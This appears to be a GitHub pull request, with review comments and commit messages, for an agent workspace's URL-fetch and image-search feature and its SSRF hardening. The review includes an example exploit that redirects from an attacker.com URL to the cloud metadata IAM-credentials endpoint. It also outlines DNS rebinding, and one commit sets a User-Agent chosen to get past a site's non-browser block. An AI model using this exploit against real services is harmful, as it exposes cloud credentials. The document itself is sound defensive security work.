add workspace image search and a server-side URL fetch tool - #568
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
zomux
left a comment
zomux
left a comment
There was a problem hiding this comment.
Thanks — the static-fetch SSRF work in net_security.py is genuinely well-built (scheme allowlist, credential rejection, resolved-IP validation, per-hop redirect re-validation, streamed byte caps, decimal/octal/IPv4-mapped-IPv6 tricks all caught) and well-tested. But there's a blocking SSRF hole in the browser-render tier:
HIGH (blocking) — the render tier bypasses all SSRF protection.
/v1/fetch validates the entry URL once, then for mode:"render" (and mode:"auto") hands the URL to a headless browser (render_page_text → page.goto), which does its OWN DNS and follows redirects/meta-refresh/JS-nav with NO re-validation. Exploit:
POST /v1/fetch {"url":"http://attacker.com/r","mode":"render"} → 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
The render tier navigates the redirect and returns the metadata/IAM-credential body to the agent. In the default local-Playwright mode the browser runs on the backend host, so this reads the backend's own cloud metadata / IAM creds / localhost. mode:"auto" reaches it too (serve a JS-shell to trip the render fallback, then redirect). The render_page_text comment 'caller already validated the entry URL' is exactly the flawed assumption — entry validation doesn't constrain where the browser navigates next.
Fix: re-validate every navigation hop inside the browser path (request interceptor that re-runs validate_public_url and aborts private targets, or forbid redirects to non-public IPs), ideally combined with resolve-once-and-pin.
MEDIUM-HIGH — DNS-rebinding TOCTOU on the static tier too. safe_fetch validates the host, then httpx re-resolves independently → a 0-TTL rebind (public on first lookup, 169.254.169.254 on connect) reaches metadata even on the static path. Fix by resolving once and connecting by IP with the original Host header.
Lower: no outbound port restriction; stale search.py docstring (code is the safer env-only behavior — keep the code, fix the doc). Please add render-tier redirect-to-internal and second-resolution-rebinding tests with the fix. Happy to re-review promptly.
1bd3b2e to
74cd220
Compare
|
All confirmed and fixed across HIGH — render tier. Reproduced. Fixed, but not with a request interceptor. An interceptor only catches the So the boundary sits below the browser: Chromium launches behind an in-process One measured dependency the design rests on: Chromium bypasses the proxy for MEDIUM-HIGH — rebinding. Fixed as suggested: resolve once, connect to the Lower. Port allowlist added (default Tests. Both you asked for, plus the classes the proxy design implies. Not closed:
Happy to take another round. |
Improves the workspace's shared search and content-fetching so agents can actually read pages and provide images, plus the security that ships with them. Content fetching: - workspace_fetch_url / POST /v1/fetch: read any URL as text without holding a shared browser tab. Static HTTP first; JS-heavy pages (Notion, SPAs) are rendered in an ephemeral browser session and closed within the request. - Per-workspace browser tab quota (DB-backed) + an idle-tab reaper, so an agent no longer sees '3/3 full' while its own tab list is empty, and abandoned tabs stop holding slots. - claude adapter hard-bans the native WebFetch (can't render JS) in favor of workspace_fetch_url; WebSearch stays allowed. Images: - workspace_image_search / POST /v1/search/images: Brave image search (BRAVE_SEARCH_API_KEY env). Returns image URLs agents embed as markdown, or persist with workspace_image_save. - POST /v1/files/from_url downloads a result into workspace storage and, with post_to_channel, posts it into the chat as an inline attachment. Security that comes with the feature: - SSRF-safe outbound fetch (app/net_security.py): scheme allowlist, reject URL credentials, resolve + block private/loopback/link-local/metadata IPs (incl. IPv4-mapped IPv6), re-validate each redirect hop, trust_env=False, and a streamed size cap. Applied to /v1/fetch and /v1/files/from_url. - Downloads only render a raster-image allowlist inline; SVG/HTML are served as attachments with X-Content-Type-Options: nosniff (stored-XSS guard). - Brave key is read from env only, never workspace settings, so it can't leak through workspace API responses.
The render tier of POST /v1/fetch validated only the entry URL and then handed it to a headless browser that did its own DNS and followed redirects with no re-validation, so an attacker-controlled page could redirect into cloud metadata or the backend's own network. The shared browser tools had the same hole and no URL check at all. Put the boundary below the browser rather than inside the page. Chromium now launches behind a policy proxy (browser_egress) that sees every request it makes of every kind, resolves each name once, and refuses anything that is not a public address. Verified against a real Chromium that this single chokepoint catches 302 redirects, meta refresh, JS navigation, image subresources, iframes, XHR and WebSocket. Chromium bypasses a proxy for loopback unless launched with loopback removed from its bypass list, so that flag is part of the launch args and has its own regression test. Add a shared guard on open_tab, navigate and render_page_text so the shared browser tools get the same entry check, allowing only the blank page as a non-http target. The static tier now resolves once and connects to the pinned address while keeping the original Host header and TLS server name, closing the rebinding window between validation and connect. Each redirect hop gets its own connection pool so two hostnames sharing an address cannot reuse one another's connection and carry the wrong TLS name. Also restrict outbound ports, stop echoing the resolved internal address back to the caller, rate limit fetch per workspace, gate the Chromium sandbox behind an env flag, and correct the stale image search docstring. Browser Fabric mode is not covered by the proxy because the page runs on their infrastructure, and the Chromium sandbox default is unchanged because the image still runs as root. Both are noted in the code.
The egress proxy spliced the browser socket to the upstream and relayed raw bytes until EOF, so a second request arriving on that connection was forwarded to the already-connected upstream without its own destination check. The injected close header did not prevent this because it only applied to the upstream request, never to the browser side. Reproduced with a raw client, where a request addressed to one host and carrying its cookie was delivered to a different host's server. The plain HTTP path now relays exactly one request and one response per connection, parsing the framing the headers declare rather than trusting the upstream to hang up, and stops reading from the browser after the request body. CONNECT tunnels keep raw relaying, which is correct there because the destination is fixed for the life of the tunnel. Upgrade is stripped so a 101 cannot turn the framed path back into a tunnel. The sandbox switch did nothing. Playwright defaults chromium_sandbox to false and injects the no-sandbox flag itself, so dropping that flag from the argument list left the sandbox off while looking like it had been enabled. The launch option now carries the decision, and the test reads the launch option instead of the argument list. Redirect cookies were lost. Building one client per hop for connection isolation also built one cookie jar per hop, breaking any flow that sets a session cookie on the redirect. Hops now share a real CookieJar, which httpx adopts by reference, while keeping separate transports and pools. Egress denials were reported as successful renders. A denial is an ordinary 403 and page.goto does not raise on error status, so the refusal text was scraped and returned as page content. Denials now carry a marker header, and a blocked main frame navigation raises. A blocked subresource deliberately does not, since the page still has real content worth returning. Replaces the two tests that asserted the wrong thing. The render test mocked an exception the real path never raises, so it now drives a real browser through a real redirect into a real refusal. Each fix was mutation checked by reverting it and confirming its test fails.
Four defects from the next review round, all reproduced before fixing. Cookies were still being lost. The pinning transport rewrote the request URL to the validated address and left it rewritten, so httpx attributed Set-Cookie to that address rather than to the hostname the caller asked for, and the next hop never sent the cookie back. The previous test used the same value for the logical host and the pinned address, which hid this completely. The transport now restores the logical URL before returning, and the test pins a named host to a different address so the two can never be confused again. The chunked relay could truncate a response. It read the two-byte chunk terminator with a call that is only required to return at most that many bytes, so a CR and LF split across TCP segments left a stray LF to be read as the next chunk size, ending the body early. Reproduced by delivering the terminator in two segments. It now reads exactly two bytes and validates them. Interim responses ended the exchange. Any 1xx was treated as final, so an upstream sending 103 Early Hints before its real response lost that response entirely. Interim responses are now relayed and reading continues, without announcing a close that the following response would contradict. A 101 is still refused, since accepting one would turn the framed path back into an opaque tunnel. Requests carrying an expectation of a continue are answered by the proxy rather than forwarded, which would otherwise deadlock the exchange. The denial marker was forgeable. BrowserManager checked only that the header was present, so any site the policy allows could set it and make its own page look like a blocked internal address. Over an encrypted tunnel the proxy cannot strip an upstream header, so the marker carries a per-proxy random token instead and is compared by value. Each fix was mutation checked by reverting it and confirming the new test fails.
The rebase resolved every conflict to develop, which is whole-file, so the three security commits lost all of their changes to browser.py even where nothing actually conflicted. This puts them back, adapted to the structure develop now has rather than restored verbatim. Adapted rather than reverted because develop reworked the surrounding code. Cloud detection moved from a manager-wide flag to a per-tab check, so the navigate guard sits above the new call. Credential handling and the ephemeral tab quota are develop's, untouched. Restores the entry guard on open_tab, navigate and render_page_text, the blank-page allowlist, the egress proxy wiring, the sandbox launch option, the authenticated denial marker and the proxy shutdown. Also restores the fetch and search router registration, which the same whole-file resolution had dropped from main.py. Both endpoints were returning 404, so the feature this branch exists to add was absent entirely; only a test asserting a status code caught it. Adds the missing navigate coverage. Deleting that guard turned nothing red, because the shared browser tests only ever exercised open. Steering an already-open tab somewhere internal is the same capability as opening it there, so it needs its own test. Drops test_browser_quota.py. It covers the per-workspace cap and the idle reaper from the first commit, both superseded by develop's ephemeral quota and maintenance sweep, and neither symbol still exists. develop's own tab-leak suite covers the same behaviours.
Flagged by git diff --check as a new blank line at EOF.
ef0cbd3 to
715589a
Compare
/v1/fetch and /v1/files/from_url each carried their own copy of the User-Agent string, so a page read and the image download that follows it could drift apart. Both now use OUTBOUND_USER_AGENT from app.net_security, which lives next to safe_fetch because every agent-triggered outbound fetch has to send the same one. The platform token also changes from "X11; Linux x86_64" to Windows. mp.weixin.qq.com answers non-browser clients with a "当前环境异常" interstitial rather than the article, and it counts the Linux token as one of them. Measured four requests per UA from a single IP, the article came back 0/4 with the Linux token and 4/4 with Windows or macOS. The trailing OpenAgentsFetch/1.0 product token is not what triggers it (3/3 with it on Windows), so we keep it and stay honest about who is calling.
/v1/fetch returned text only, so the direct image URLs were gone by the
time an agent wanted them. /v1/files/from_url needs a direct URL to save
one, which made the image path unreachable in practice no matter what the
prompt said. The read now carries an assets[] of absolute image URLs with
type, guessed mime, alt text and where each was found.
Three shapes are needed to cover real pages, each verified against
captured responses rather than guessed:
- lazy-loading markup, where the URL is in data-src and there is no src
at all (every mp.weixin.qq.com article image)
- embedded JSON, where a gallery never reaches the DOM and the blob
writes each path separator as an escape sequence (xiaohongshu keeps
note images in imageList[].urlDefault inside a script tag)
- the rendered tier, which now enumerates document.images so a browser
read reports the same assets a static read extracts
An img tag is treated as an image whatever its path looks like. Filtering
markup by file extension is what dropped these two platforms outright,
since neither puts one on its CDN URLs. The extension test survives only
for the JSON sweep, where a bare "url" key on a host named fe-static was
otherwise matching JavaScript bundles.
og:title now fills in when title is empty, which is how mp.weixin.qq.com
ships every article.
Every wall came back as AUTH_REQUIRED or BOT_CHALLENGE with the same hint,
which produced advice that cannot work — telling a user to sign in past a
block that ignores logins, or to re-send a link that was never the problem.
_detect_wall now returns an error code with the hint that belongs to it,
and four codes are added.
CLIENT_ENV_BLOCKED mp.weixin.qq.com decided the caller is not a
browser. No user action exists; it is ours.
SHARE_TOKEN_REQUIRED xiaohongshu only serves a note to a link carrying
xsec_token, which app share links already have.
CONTENT_UNAVAILABLE the same xiaohongshu page, but the link did carry a
token, so the note is deleted rather than
under-parameterised.
IP_OR_REGION_BLOCKED zhihu refused at the network level.
The xiaohongshu pair matters because both states render the identical
"你访问的页面不见了" body and only the URL distinguishes them. Treating that
string as unconditional proof of a missing token would tell people to
re-share links that will fail again.
Matching is per host. The generic lists are substring-matched against every
page we read, so a phrase added for one site would be free to misclassify
another site's article.
Tests run the classifier over captured responses rather than invented
wording, under tests/fixtures/cn_walls. Zhihu is stored twice on purpose,
because its static 403 body carries no refusal text at all and only the
rendered body does — a fixture set with just the JSON would suggest static
classification works for it, and it does not. Challenge values and trace
ids are redacted; no cookies or share tokens are kept.
There was no way to answer "are xiaohongshu reads failing, and at which tier" without turning on debug logging and reading page text. One INFO line per fetch now carries host, tier, HTTP status, content type, byte count, asset count, error code and duration. The URL is reduced to scheme, host and path. The query string is dropped whole rather than filtered, because that is the only version of the rule that cannot be quietly broken later by a parameter nobody thought to add to a denylist, and these platforms put share tokens (xsec_token) and signed-CDN parameters there. Page text, response headers and cookies are never logged. Recording happens through fail() and ok() wrappers around the existing helpers so every exit path is covered, including the ones that degrade from the render tier back to static. The wrappers take positional-only parameters after an error_code kwarg collided with a caller passing status=404 through **extra.
zomux
left a comment
zomux
left a comment
There was a problem hiding this comment.
Approve. Re-review confirms both prior SSRF blockers are fully resolved:
- Render-tier bypass → loopback
EgressPolicyProxy(--proxy-server+--proxy-bypass-list=<-loopback>); every Chromium request resolved once and connected by pinned IP, deny-by-default with a per-instance secret deny marker. The exact prior exploit (public→302→169.254.169.254) plus 7 other vectors blocked and asserted against real Chromium. - Static-tier DNS rebinding →
_PinnedTransportresolves once and connects to the pinned IP while preserving Host + SNI.
Also fixed: port allowlist (80/443/8080/8443), no internal-IP leakage in errors, files.py download hardening (SVG/HTML→attachment + nosniff), Brave key env-only. 946-line test_ssrf_boundary.py exercises the real exploit paths.
Remaining nits are non-blocking (BF cloud-render validates entry URL only, documented; search.py trust_env; password-less workspace as a rate-limited fetch proxy).
2 participants
Improves the workspace's shared search and content-fetching so agents can actually read pages and provide images, plus the security that ships with them.
Content fetching:
Images:
Security that comes with the feature: